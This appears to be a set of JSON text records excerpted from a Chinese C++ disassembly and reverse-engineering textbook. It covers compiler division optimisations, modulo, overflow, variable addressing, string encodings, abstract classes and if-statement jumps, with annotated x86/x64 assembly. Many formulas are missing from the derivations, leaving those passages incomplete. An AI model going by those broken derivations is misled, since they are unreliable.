shr rax, 3Fh ;rax=rdx>>63取符号位 0000000140001015 sar rdx, 21h ;rdx=arg*M>>33 0000000140001019 add edx, eax ;if(rdx < 0)edx=(argc*M>>33) + 1 ;if(rdx >=0)edx=argc*M>>33 000000014000101B lea rcx, aArgc5D ;参数1 \"argc / -5 = %d\" 0000000140001022 call sub_140001030 ;调用printf函数 0000000140001027 xor eax, eax 0000000140001029 add rsp, 28h 000000014000102D retn GCC编译器采用求正数的除法再对结果求补就可以算出除数为负的结果即 。"},
    {"text": "在前面讨论的除以7的例子中当魔数最高位为1时对于正除数编译器会在imul和sar之间产生调整作用的add指令而本例没有故结合上下流程可分析魔数为补码形式除数为负。"},
    {"text": "argc / -5 总结 当遇到数学优化公式如果 x ≥0则 如果 x <0则 时则基本可判定是除法优化后的代码其除法原型为 x 除以常量 c imul可表明是有符号计算其操作数是优化前的被除数 x 。 由于魔数取值大于7fffffffh而imul和sar之间未见任何调整代码故可认定除数为负且魔数为补码形式接下来统计右移的总次数以确定公式中的 n 值然后使用公式 将魔数作为 M 值代入公式求解常量除数| c |即可恢复除法原型。"},
    {"text": "当除数 c 为负数时我们可以直接对上式的魔数取负设魔数为 M 对应调整除法转换公式 理解以上推导后可先将以上代码转换为公式 由上式可得 接下来我们求解| c | 于是我们反推出优化前的高级代码为 argc / -7 总结 当遇到数学优化公式如果 x ≥0则 如果 x <0则 可判定是除法优化后的汇编代码其除法原型为 x 除以常量 c imul可表明是有符号计算其操作数是优化前的被除数 x 。 由于魔数取值小于等于7fffffffh而imul和sar之间有sub指令调整乘积故可认定除数为负且魔数为补码形式接下来统计右移的总次数以确定公式中的 n 值然后使用公式 将魔数作为 M 值代入公式求解常量除数| c |即可恢复除法原型。 j. 除法优化的原则 看到这里大家应该注意到了在以上讨论中还原所得的除数是近似值说明给出的公式还不够严格。 我们接下来可以好好思考一下其值近似但不等的原因先看看余数是多少。 回忆一下除法和余数的关系根据性质3有 b = a - r ÷ q 代入 公式改为 。"},
    {"text": "于是修改推导公式为 现在又出现了“新问题”在反汇编代码流程中还原的公式为 eax * arg c >> 33 等价于 38E38E39h是 的值代入得到 看起来前面的步骤都前功尽弃了。"},
    {"text": "现在我们来解决这个问题当 x ≥0时根据C语言除法向零取整规则有 证明 在编译器计算魔数时如果给出一个合适的 n 值使下式成立 则根据推导6可得 举例说明一下以前面讨论的arg c /9为例设arg c /9商为 q 当arg c ≥0时有 显然arg c <2 33 于是得到 根据推导6可以得到 当 x <0时有 证明 根据推导3 根据推导7 在编译器计算魔数时如果给出一个合适的 n 值使下式成立 则根据推导6可得 举例说明一下以前面讨论的arg c /9为例设arg c /9商为 q 当arg c <0时有 根据推导7 显然 根据推导6可以得到 由以上讨论可以看出关键在于编译器计算魔数的值使得运算结果满足推导6中的等式其中计算确定魔数表达式中2 n 的值尤为重要。"},
    {"text": "找到VC++6.0安装目录下的\\VC98\\Bin文件夹里c2.dll版本12.0.9782.0先用OD载入这个目录下的CL.EXE加入命令行后开始调试如cl/c/O2 test.cpp。"},
    {"text": "然后在LoadLibrary这个函数下断点等待c2加载有符号整数除法魔数的计算过程在c2的文件偏移5FACE处加载后的虚拟地址请自行计算参考PE格式相关资料。 断点设置在此处可以看到有符号整数除法魔数的推算过程其汇编代码过长读者可以使用IDA查看本书不再展开下面提供F5后修改的C代码见随附资源中的SignedDivision.cpp。"},
    {"text": "方案1 对2的 k 次方取余余数的值只须取被除数低 k 位的值即可负数则还须在 k 位之前补1设 k 为5代码如下所示。 mov reg, 被除数 and reg,80000007h jns LAB1 or reg, 0FFFFFFF8h LAB1: 如果余数的值非0以上代码是没有问题的如果余数的值为0则根据以上代码计算出的结果FFFFFFE0h是错误的。"},
    {"text": "对于余数不为0的情况此调整不影响计算结果对于余数为0的情况末尾 k 位全部为0值此时减1得到末尾 k 位为1or运算得到-1最后加1得到余数值为0。"},
    {"text": "mov reg, 被除数 and reg,80000007 ; 这里的立即数是去掉高位保留低位的掩码其值由2<sup><i>k</i></sup>决定 jns LAB1 dec reg or reg, FFFFFFF8 inc reg LAB1: 当遇到以上指令序列时基本可判定是取模代码其取模原型为被除数变量对2 k 常量执行取模运算jns可表明为有符号计算考察“and reg, 00000007”这类去掉高位保留低位的代码统计出低位一共保留了多少1即可得到 k 的值代入求得2 k 的值后可恢复取模代码原型。 方案2 对2的 k 次方取余对于正数采用方案1相同方案对于负数采用以下调整公式 x %2 k = x +2 k -1&2 k -1-2 k -1 当遇到以上数学公式时基本可判定是取模代码其取模原型为被除数变量对2 k 常量执行取模运算考察“and reg,0FFFFFFF8”统计出低位一共保留了多少0即可得到 k 的值代入求得2 k 的值后可恢复取模代码原型。"},
    {"text": "x %2 k = x - x &2 k -1 对于负数采用以下调整公式 x %2 k = x - x +2 k -1&2 k -1 当遇到以上数学公式时基本可判定是取模代码其取模原型为被除数变量对2 k 常量执行取模运算考察“and reg,0FFFFFFF8”统计出低位一共保留了多少0即可得到 k 的值代入求得2 k 的值后可恢复取模代码原型。"},
    {"text": "4.1.2 算术结果溢出 我们在前面已经接触过算术结果溢出的相关知识例如占据4字节32位内存空间的数据经过运算后得到的结果超出存储空间的大小就会产生溢出现象。 又如int类型的数据0xFFFFFFFF加2得到的结果将会超出int类型的存储范围超出的部分也称为溢出数据。"},
    {"text": "对于有符号数而言原数据为一个负数溢出后由于表示符号的最高位而进位原来的1变成了0这时负数也相应地成为了正数如图4-4所示。 图4-4 溢出结果对比 图4-4演示了数据是如何产生溢出以及溢出后为什么数据会改变符号由一个负数变为正数。"},
    {"text": "代码清单4-14 利用溢出跳出循环 // 看似死循环的for语句 for (int i = 1; i > 0; i++) { printf(\"%d\\n\", i); } 代码清单4-14中的for循环看上去是一个死循环但由于i是一个有符号数当i等于允许取得的最大正数值0x7FFFFFFF时再次加1后数值会进位将符号位0修改为1最终结果为0x80000000。"},
    {"text": "溢出是由于数据进位后超出数据保存范围导致的。 溢出和进位都表示数据超出了存储范围它们之间有什么区别呢 1. 进位 无符号数超出存储范围叫作进位。"},
    {"text": "2. 溢出 有符号数超出存储范围叫作溢出由于数据进位从而破坏了有符号数的最高位——符号位。 只有有符号数才有符号位所以溢出只针对有符号数。 可查看溢出标志位OF检查数据是否溢出。"},
    {"text": "4.1.3 自增和自减 C++中使用“++”“--”来实现自增和自减操作。 自增和自减有两种定义一种为自增自减运算符在语句块之后则先执行语句块再执行自增自减另一种恰恰相反自增自减运算符在语句块之前则先执行自增和自减再执行语句块。 通常自增和自减是被拆分成两条汇编指令语句执行的如代码清单4-15所示。"},
    {"text": "同理前缀++的拆分过程只是执行顺序做了替换先将自身加1再参与表达式运算。 在识别过程中后缀++必然会保存计算前的变量值在表达式计算完成后才取出之前的值加1这是个显著特点。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 7.1 全局变量和局部变量的区别 全局变量是如何形成的呢2.6节讲解了常量的识别和分析方法。"},
    {"text": "int g_num = 0x12345678; 获取全局变量的内存地址如图7-1所示。 图7-1 全局变量所在的内存地址 如图7-1所示通过调试获取全局变量所在地址0x001FC000地址中的数据为0x12345678。 全局变量在文件中的地址定位和常量相同也需要减去基地址然后查阅节表得到文件地址。 本示例中的基地址为0x001E0000注意VS 2019默认开启随机基址每次运行程序基址随机得到偏移地址0x1C000查阅节表得到它的全局变量对应在文件0x00009800的偏移地址处如图7-2所示。 图7-2 全局变量所在的文件地址 由图7-2可知具有初始值的全局变量其值在链接时被写入创建的PE文件中当用户执行该文件时操作系统先分析这个PE中的数据将各节中的数据填入对应的虚拟内存地址中。"},
    {"text": "而局部变量的生命周期则局限于函数作用域内若超出作用域则由栈平衡操作来释放局部变量的空间。 对于由“{ }”划分的块作用域其内部的局部变量生命周期和函数作用域一致但是编译器会在编译前检查语法限制块外代码的访问。 在访问方式上局部变量是通过栈指针相对间接访问的而全局变量的内存地址在全局数据区中通过栈指针无法访问到。 那么全局变量又是如何访问寻址的呢我们先来看一个例子如代码清单7-1所示。"},
    {"text": "代码清单7-1 全局变量的访问Debug版 // C++ 源码 #include <stdio.h> int g_gobal = 0x12345678; int main(int argc, char* argv[]) { scanf(\"%d\", &g_gobal); printf(\"%d\\n\", g_gobal); return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push offset dword_41E000 ;push 0x0041E000 ;将全局变量的地址作为参数压入栈与常量的处理方法相同模块基址为00400000 00401008 push offset aD ;\"%d\" 0040100D call sub_4010F0 ;调用scanf函数 00401012 add esp, 8 ;平衡scanf函数的两个参数 00401015 mov eax, dword_41E000 ;mov eax, dword ptr ds:[0x0041E000] ;取全局变量内容传入eaxeax=g_gobal 0040101A push eax 0040101B push offset aD_0 ;\"%d\\n\" 00401020 call sub_4010B0 ;调用printf函数 00401025 add esp, 8 ;平衡printf函数的两个参数 00401028 xor eax, eax 0040102A pop ebp 0040102B retn 0041E000 dword_41E000 dd 12345678h ;全局变量 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 28h 000000014000100D lea rdx, dword_140022000 ;lea rdx, [0x00000000140022000] ;将全局变量的地址作为参数压入栈 0000000140001014 lea rcx, aD ;\"%d\" 000000014000101B call sub_140001160 ;调用scanf函数 0000000140001020 mov edx, cs:dword_140022000;mov edx, [0x00000000140022000] ;取全局变量内容传入edxedx=g_gobal 0000000140001026 lea rcx, aD_0 ;\"%d\\n\" 000000014000102D call sub_140001100 ;调用printf函数 0000000140001032 xor eax, eax 0000000140001034 add rsp, 28h 0000000140001038 retn 0000000140022000 dword_140022000 dd 12345678h ;全局变量 //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 分析代码清单7-1可知访问全局变量与访问常量类似都是通过立即数访问。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 2.3 字符和字符串 字符串是由多个字符按照一定排列顺序组成的在C++中以'\\0'作为字符串结束标记。每个字符都记录在一张表中它们各自对应一个唯一编号系统通过这些编号查找到对应的字符并显示。字符表格中的编号便是字符的编码格式。 2.3.1 字符的编码 在C++中字符的编码格式分为两种ASCII和Unicode。Unicode是ASCII的升级编码格式它弥补了ASCII的不足也是编码格式的发展趋势。 ASCII编码在内存中占1字节由0255之间的数字组成。每个数字表示一个符号具体表示方式可查看ASCII表。由于ASCII编码也是由数字组成的所以可以和整数互相转换但整数不可超过ASCII的最大表示范围因为多余部分将被舍弃。 由于ASCII原来的表示范围太小只能表示26个英文字母和常用符号。在亚洲ASCII的表示范围完全不够用仅汉字就可以轻易占满ASCII编码。因此占双字节、表示范围为065535的Unicode编码产生了。Unicode编码是世界通用的编码ASCII编码也包含在其中。 使用char定义ASCII编码格式的字符使用wchar_t定义Unicode编码格式的字符。wchar_t中保存ASCII编码不足位补0如字符'a'的ASCII编码为0x61Unicode编码为0x0061。汉字的编码方式有些特殊ASCII与Unicode都有与之匹配的编码格式。 在程序中使用中文、韩文、日文等时经常出现显示的内容都是乱码的情况。这是因为系统缺少该语种字符表这个字符表用于解释所需语种的字符编码所以程序中的字符编码错误地对应到其他字符表中显示出的文字是其他语种字符表中的信息。 ASCII编码与Unicode编码都可以用来存储汉字但是它们对汉字的编码方式各不相同所以存储同样的汉字它们在内存中的编码是不同的如图2-5所示。 图2-5 汉字字符串 ASCII使用GB2312-80又名汉字国标码保存了6763个常用汉字编码用两个字节表示一个汉字。在GB2312-80中用区和位来定位第一个字节保存每个区共94个区第二个字节保存每个区中的位共94位。详细信息可查看GB 2312-80编码的说明。 Unicode使用UCS-2编码格式最多可存储65536个字符。汉字博大精深其中有简体字、繁体字还有网络中流行的火星文它们的总和远远超过了UCS-2的存储范围所以UCS-2编码格式中只保存了常用字。为了将所有的汉字都容纳进来Unicode也采用了与ASCII类似的方式——用两个Unicode编码解释一个汉字一般称之为UCS-4编码格式。UCS-2编码表的使用和ASCII编码表的使用是一样的每个数字编号在表中对应一个汉字从0x4E00到0x9520为汉字编码区。例如在UCS-2中“烫”字的编码为0x70EB。更多关于UCS-2编码的信息可查看随书文件的UCS-2编码表。 2.3.2 字符串的存储方式 字符串是由一系列按照一定的编码顺序线性排列的字符组成的。在图形中两点可以确定一条直线在程序中只要知道字符串的首地址和结束地址就可以确定字符串的长度和大小。字符串的首地址很容易确定因为在定义字符串的时候都会先指定好首地址。但是结束地址如何确定呢有两种方法一种是在首地址的4字节中保存字符串的总长度另一种是在字符串的结尾处使用一个规定好的特殊字符即结束符下面分析这两种方法的优缺点。 保存总长度 优点获取字符串长度时不用遍历字符串中的每个字符取得首地址的前 n 字节就可以得到字符串的长度 n 的取值一般是1、2、4。 缺点字符串长度不能超过 n 字节的表示范围且要多开销 n 字节空间保存长度。如果涉及通信双方交互前必须事先知道通信字符串的长度。 结束符 优点没有记录长度的开销即不需要存储空间记录长度信息另外如果涉及通信通信字符串可以根据实际情况随时结束结束时附上结束符即可。 缺点获取字符串长度需要遍历所有字符寻找特殊结尾字符在某些情况下处理效率低。 C++使用结束符'\\0'作为字符串结束标志。ASCII编码使用一个字节'\\0'Unicode编码使用两个字节'\\0'。需要注意的是不能使用处理ASCII编码的函数对Unicode编码进行处理因为如果Unicode编码中出现了只占用1字节的字符就会发生解释错误。ASCII与Unicode内存数据对比如图2-6所示。 图2-6 ASCII与Unicode内存数据对比 在程序中一般都会使用一个变量来存放字符串中第一个字符的地址以便于查找使用字符串。在程序中使用字符型指针char*、wchar_t*来保存字符串首地址。 图2-6为ASCII字符串ch与Unicode字符串wch的内存数据对比。ch所在地址0x01177b30以ASCII字符进行组合wch所在地址0x01177bf4以Unicode字符进行组合两个字节为一个字符。 字符串的识别也相对简单同样是结合上下文查看调用地址处对该地址的处理过程。在通常情况下OllyDbg和IDA都会自动识别出程序中的字符串。在使用IDA的过程中有时会无法识别字符串此时可进行手动修改如图2-7所示。 图2-7 未识别的字符串数据 在图2-7中这段数据明显为一个字符串但是IDA并没有分析出来这时可以选中要分析的字符串的首地址使用快捷键A便可将分析地址到'\\0'解释为字符串。图2-8所示为识别后的字符串数据。 图2-8 识别后的字符串数据"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 12.3 抽象类 既然是抽象事物就不存在实体。如我们平常所说的“东西”就不能被实例化。将某一物品描述为东西等同于没有描述。 在生活中我们会经常遇到此类情况在你的书桌上有一支钢笔、一个水杯、一本书。这时你的同桌对你说“把你桌子上的那个东西借我一下。”由于没有具体的描述你无法知道他所指的“那个东西”是哪一件物品。 在编码过程中抽象类的定义需要配合虚函数使用。在虚函数的声明结尾处添加“=0”这种虚函数被称为纯虚函数。纯虚函数是一个没有实现只有声明的函数它的存在就是为了让类具有抽象类的功能让继承自抽象类的子类都具有虚表以及虚表指针。在使用过程中利用抽象类指针可以更好地完成多态的工作。多态的实现分析已经在前面介绍过了而这个纯虚函数是如何实现的呢对于一个没有实现的函数编译器又是如何处理的呢关于纯虚函数的分析如代码清单12-12所示。 代码清单12-12 纯虚函数的分析Debug版 // C++ 源码 #include <stdio.h> class AbstractBase { public: AbstractBase() { printf(\"AbstractBase()\"); } virtual void show() = 0; //定义纯虚函数 }; class VirtualChild : public AbstractBase { //定义继承抽象类的子类 public: virtual void show() { //实现纯虚函数 printf(\"抽象类分析\\n\"); } }; int main(int argc, char* argv[]) { VirtualChild obj; obj.show(); return 0; } //x86_vs对应汇编代码讲解 00401020 push ebp ;抽象类构造函数 00401021 mov ebp, esp 00401023 push ecx 00401024 mov [ebp-4], ecx 00401027 mov eax, [ebp-4] ;设置抽象类虚表指针虚表地址在??_7AbstractBase@@6B@处虚表信息如图12-10所示 0040102A mov dword ptr [eax], offset ??_7AbstractBase@@6B@ 00401030 push offset aAbstractbase ; \"AbstractBase()\" 00401035 call sub_4010D0 0040103A add esp, 4 0040103D mov eax, [ebp-4] 00401040 mov esp, ebp 00401042 pop ebp 00401043 retn ;抽象类AbstractBase中虚表信息的第一项所指向的函数首地址 0000:00401C3B push esi ;__purecall函数 0000:00401C3C mov esi, dword_419C6C 0000:00401C42 test esi, esi 0000:00401C44 jz short loc_401C50 0000:00401C46 mov ecx, esi 0000:00401C48 call ds:___guard_check_icall_fptr 0000:00401C4E call esi ; dword_419C6C 0000:00401C50 call _abort ;结束程序 //x86_gcc对应汇编代码讲相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001030 mov [rsp+8], rcx ;抽象类构造函数 0000000140001035 sub rsp, 28h 0000000140001039 mov rax, [rsp+30h] ;设置抽象类虚表指针虚表地址在??_7AbstractBase@@6B@处 000000014000103E lea rcx, ??_7AbstractBase@@6B@ 0000000140001045 mov [rax], rcx 0000000140001048 lea rcx, Format ;\"AbstractBase()\" 000000014000104F call printf 0000000140001054 mov rax, [rsp+30h] 0000000140001059 add rsp, 28h 000000014000105D retn ; 抽象类AbstractBase中虚表信息的第一项所指向的函数首地址 0000000140001B88 sub rsp, 28h ;__purecall函数 0000000140001B8C mov rax, cs:qword_14001CB20 0000000140001B93 test rax, rax 0000000140001B96 jz short loc_140001B9E 0000000140001B98 call cs:off_140012230 0000000140001B9E call abort //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 图12-10 抽象类AbstractBase的虚表信息 如代码清单12-12所示在抽象类AbstractBase的虚表信息中因为纯虚函数没有实现代码所以没有首地址。编译器为了防止误调用纯虚函数将虚表中保存的纯虚函数的首地址项替换成函数__purecall用于结束程序。 根据这一特性在分析过程中一旦在虚表中发现函数地址为__purecallGCC编译器函数名称为___cxa_pure_virtual函数的地址时我们可以高度怀疑此虚表对应的类是一个抽象类。当抽象类中定义了多个纯虚函数时虚表中将保存相同的函数指针。在代码清单12-12中插入新的纯虚函数并在子类中予以实现。经过编译后再次查看虚表信息如图12-11所示。 图12-11 存在多个纯虚函数的类虚表信息"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 5.1 if语句 if语句是分支结构的重要组成部分。if语句的功能是先对运算条件进行比较然后根据比较结果执行对应的语句块。if语句只能判断两种情况“0”为假值“非0”为真值。如果判断结果为真值则进入语句块内执行语句如果判断为假值则跳过if语句块继续运行程序的其他语句。需要注意的是if语句转换的条件跳转指令与if语句的判断结果是相反的。我们以代码清单5-1为例逐步展开对if语句的分析。 代码清单5-1 if语句构成Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { if (argc == 0) { printf(\"argc == 0\"); } return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 cmp dword ptr [ebp+8], 0 00401007 jnz short loc_401016 ;如果argc!=0则跳转到if结束块代码 { 00401009 push offset aArgc0 0040100E call printf 00401013 add esp, 4 ;if语句块代码 } 00401016 loc_401016: 00401016 xor eax, eax ;if结束块代码 00401018 pop ebp 00401019 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 28h 000000014000100D cmp dword ptr [rsp+30h], 0 0000000140001012 jnz short loc_140001020 ;如果argc!=0则跳转到if结束块代码 { 0000000140001014 lea rcx, aArgc0 000000014000101B call sub_140001090 ;if语句块代码 } 0000000140001020 xor eax, eax ;if结束块代码 0000000140001022 add rsp, 28h 0000000140001026 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单5-1中if的比较条件为“argc == 0”如果成立即为真值则进入if语句块内执行语句。但是转换后的汇编代码使用的条件跳转指令JNE判断结果为“不等于0跳转”这是为什么呢按照if语句的规定满足if判定的表达式才能执行if的语句块而汇编语言的条件跳转却是满足某条件则跳转绕过某些代码块这一点与C语言是相反的。 既然这样那为什么C语言编译器不将else语句块提到前面并把if语句块放到后面呢这样汇编语言和C语言中的判定条件不就一致了吗 因为C语言是根据代码行的位置决定编译后二进制代码地址高低的也就是说低行数对应低地址高行数对应高地址所以有时会使用标号相减得到代码段的长度。鉴于此C语言的编译器不能随意改变代码行在内存中的顺序。 根据这一特性如果将if语句中的比较条件“argc == 0”修改为“if(argc > 0)”则其对应的汇编语言使用的条件跳转指令会是“小于等于0”。 代码清单5-2 if语句大于0比较Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { if (argc > 0){ printf(\"%d\\n\", argc); } return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 cmp dword ptr [ebp+8], 0 00401007 jle short loc_40101A ;如果argc<=0则跳转到if结束代码块 { 00401009 mov eax, [ebp+8] 0040100C push eax 0040100D push offset unk_412160 00401012 call sub_401060 00401017 add esp, 8 ;if语句块代码 } 0040101A loc_40101A: ;if结束代码块 0040101A xor eax, eax 0040101C pop ebp 0040101D retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 28h 000000014000100D cmp dword ptr [rsp+30h], 0 0000000140001012 jle short loc_140001024 ;如果argc<=0则跳转到if结束代码块 { 0000000140001014 mov edx, [rsp+30h] 0000000140001018 lea rcx, unk_1400122C0 000000014000101F call sub_140001090 ;if语句块代码 } 0000000140001024 xor eax, eax ;if结束代码块 0000000140001026 add rsp, 28h 000000014000102A retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 分析代码清单5-1和代码清单5-2可以总结出if语句的转换规则在转换成汇编代码后由于当if比较结果为假时需要跳过if语句块内的代码因此使用了相反的条件跳转指令。 将4.2.2节的代码清单4-21与代码清单5-2进行对比分析可知代码结构特征十分相似但使用的条件跳转指令不同。由此可见在反汇编时表达式短路和if语句这两种分支结构的实现过程都是一样的很难在源码中对它们进行区分。 总结 如果遇到以上指令序列可高度怀疑它是一个由if语句组成的单分支结构根据比较信息与条件跳转指令找到与跳转条件相反的逻辑即可恢复分支结构原型。由于循环结构也会出现类似代码因此在分析过程中还需要结合上下文。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 1.8 本章小结 本章介绍了进行C++反汇编和逆向分析的工作环境和必备工具的使用方法在继续学习后面的内容之前读者要先学会配置工作环境并掌握这些工具的使用方法。随着学习的深入相信读者对C++反汇编和逆向分析的工作环境会越来越熟悉。 虽然本书没有介绍调试器的原理但是笔者在教学工作中经常要求学员自己开发调试器引擎并且在看雪安全论坛 www.pediy.com 的调试版块免费发布相关技术文档、调试器引擎的demo和源码有兴趣的读者可以自行搜索并阅读。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 2.6 常量 前几节介绍的数据类型都是以变量形式进行演示的在程序运行中可以修改其保存的数据。"},
    {"text": "2.6.1 常量的定义 在C++中可以使用宏机制#define来定义常量也可以使用const将变量定义为一个常量。 #define定义常量名称编译器在对其进行编译时会将代码中的宏名称替换成对应信息。"},
    {"text": "常用字符串处理函数strcpy的第二个参数被定义为一个常量这是为了防止该参数在函数内被修改对原字符串造成破坏宏与const的使用如代码清单2-8所示。"},
    {"text": "代码清单2-8 宏与const的使用 //C++源码 #include <stdio.h> #define NUMBER_ONE 1 //定义NUMBER_ONE为常量1 int main(int argc, char* argv[]) { const int n = NUMBER_ONE; //将常量NUMBER_ONE赋值给const常量n printf(\"const = %d #define = %d \\r\\n\", n, NUMBER_ONE); //显示两者结果 return 0; } 代码清单2-8中使用#define定义了常量1并赋值给const的常量n。"},
    {"text": "使用VS编译此段代码依次选择菜单“项目”→“属性”→“C/C++”→“命令行”添加“/P”选项如图2-12所示。 图2-12 添加编译选项 VS也可以使用命令行添加编译器选项编程gcc和clang可以使用-E编译选项生成预处理文件命令如下。 cl /Fe:vs.i /P test.cpp clang -E -o clang.i test.cpp gcc -E -o gcc.i test.cpp 此编译选项的功能是将预处理文件生成到文件中编译后在对应的CPP文件夹中会产生一个“文件名.i”的文件。"},
    {"text": "代码清单2-9 预处理文件信息 //VS对应预处理文件 int main(int argc, char* argv[]) { const int n = 1; printf(\"const = %d #define = %d \\r\\n\", n, 1); return 0; } //GCC对应预处理文件 int main(int argc, char* argv[]) { const int n = 1; printf(\"const = %d #define = %d \\r\\n\", n, 1); return 0; } //Clang对应预处理文件 int main(int argc, char* argv[]) { const int n = 1; printf(\"const = %d #define = %d \\r\\n\", n, 1); return 0; } 2.6.2 #define和const的区别 #define修饰的符号名称是一个真量数值而const修饰的栈常量是一个“假”常量。"},
    {"text": "在实际中使用const定义的栈变量最终还是一个变量只是在编译期间对语法进行了检查发现代码有对const修饰的变量存在直接修改行为则报错。 被const修饰过的栈变量本质上是可以被修改的。 我们可以利用指针获取const修饰过的栈变量地址强制将const属性修饰去掉就可以修改对应的数据内容如代码清单2-10所示。"},
    {"text": "代码清单2-10 修改const常量 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { const int n1 = 5; int *p = (int*)&n1; *p = 6; int n2 = n1; return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 0Ch 00401006 mov dword ptr [ebp-4], 5 ;n1 = 5 0040100D lea eax, [ebp-4] 00401010 mov [ebp-8], eax ;p = (int*)&n1 00401013 mov ecx, [ebp-8] 00401016 mov dword ptr [ecx], 6 ;*p = 6 0040101C mov dword ptr [ebp-0Ch], 5 ;n2 = n1 00401023 xor eax, eax 00401025 mov esp, ebp 00401027 pop ebp 00401028 retn //x86_gcc对应汇编代码讲解 00401510 push ebp 00401511 mov ebp, esp 00401513 and esp, 0FFFFFFF0h ;对齐栈 00401516 sub esp, 10h 00401519 call ___main ;调用初始化函数 0040151E mov dword ptr [esp+4], 5 ;n1 = 5 00401526 lea eax, [esp+4] 0040152A mov [esp+0Ch], eax ;p = (int*)&n1 0040152E mov eax, [esp+0Ch] 00401532 mov dword ptr [eax], 6 ;*p = 6 00401538 mov dword ptr [esp+8], 5 ;n2 = n1 00401540 mov eax, 0 00401545 leave 00401546 retn //x86_clang对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push esi 00401004 sub esp, 18h 00401007 mov eax, [ebp+0Ch] 0040100A mov ecx, [ebp+8] 0040100D xor edx, edx 0040100F mov dword ptr [ebp-8], 0 00401016 mov dword ptr [ebp-0Ch], 5 ;n1 = 5 0040101D lea esi, [ebp-0Ch] 00401020 mov [ebp-10h], esi ;p = (int*)&n1 00401023 mov esi, [ebp-10h] 00401026 mov dword ptr [esi], 6 ;*p = 6 0040102C mov dword ptr [ebp-14h], 5 ;n2 = n1 00401033 mov [ebp-18h], eax 00401036 mov eax, edx 00401038 mov [ebp-1Ch], ecx 0040103B add esp, 18h 0040103E pop esi 0040103F pop ebp 00401040 retn //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 18h 000000014000100D mov dword ptr [rsp], 5 ;n1 = 5 0000000140001014 lea rax, [rsp] 0000000140001018 mov [rsp+8], rax ;p = (int*)&n1 000000014000101D mov rax, [rsp+8] 0000000140001022 mov dword ptr [rax], 6 ;*p = 6 0000000140001028 mov dword ptr [rsp+4], 5 ;n2 = n1 0000000140001030 xor eax, eax 0000000140001032 add rsp, 18h 0000000140001036 retn //x64_gcc对应汇编代码讲解 0000000000401550 push rbp 0000000000401551 mov rbp, rsp 0000000000401554 sub rsp, 30h 0000000000401558 mov [rbp+10h], ecx 000000000040155B mov [rbp+18h], rdx 000000000040155F call __main ;调用初始化函数 0000000000401564 mov dword ptr [rbp-10h], 5 ;n1 = 5 000000000040156B lea rax, [rbp-10h] 000000000040156F mov [rbp-8], rax ;p = (int*)&n1 0000000000401573 mov rax, [rbp-8] 0000000000401577 mov dword ptr [rax], 6 ;*p = 6 000000000040157D mov dword ptr [rbp-0Ch], 5 ;n2 = n1 0000000000401584 mov eax, 0 0000000000401589 add rsp, 30h 000000000040158D pop rbp 000000000040158E retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 xor eax, eax 0000000140001006 mov dword ptr [rsp+24h], 0 000000014000100E mov [rsp+18h], rdx 0000000140001013 mov [rsp+14h], ecx 0000000140001017 mov dword ptr [rsp+10h], 5 ;n1 = 5 000000014000101F lea rdx, [rsp+10h] 0000000140001024 mov [rsp+8], rdx ;p = (int*)&n1 0000000140001029 mov rdx, [rsp+8] 000000014000102E mov dword ptr [rdx], 6 ;*p = 6 0000000140001034 mov dword ptr [rsp+4], 5 ;n2 = n1 000000014000103C add rsp, 28h 0000000140001040 retn 在代码清单2-10中由于const修饰的变量n1被赋值一个数字常量5编译器在编译过程中发现n1的初始值是可知的并且被修饰为const。"},
    {"text": "#define与const两者之间还是不同的如表2-5所示。 表2-5 #define与const的区别 这两者在连接生成可执行文件后将不复存在在二进制编码中也没有这两种类型存在。"},
